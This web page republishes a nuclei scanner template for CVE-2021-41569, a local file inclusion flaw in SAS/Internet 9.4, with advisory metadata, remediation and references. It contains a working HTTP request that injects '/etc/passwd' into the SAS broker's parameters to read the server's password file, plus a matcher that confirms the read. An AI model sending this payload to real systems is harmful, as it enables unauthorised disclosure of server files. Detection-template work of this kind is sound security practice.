BiuPoC

CVE-2021-41569: SAS/Internet 9.4 1520 - Local File Inclusion

2025-08-01 SAS Internet PoC Public

Description

SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.

PoC

id: CVE-2021-41569

info:
  name: SAS/Internet 9.4 1520 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.
  reference:
    - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
    - https://support.sas.com/kb/68/641.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41569
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-41569
    cwe-id: CWE-829
    epss-score: 0.07968
    epss-percentile: 0.94607
    cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sas
    product: sas\/intrnet
  tags: cve2021,cve,sas,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402200fce6c38ee305b522fe1050a4c16246db40a29aa2b0ad14b482c2280436be48e0220768a976c70a472de6fd771e7148923819d3a86ed1ee0afa6adcd50315f7e7da3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41569.yaml

References

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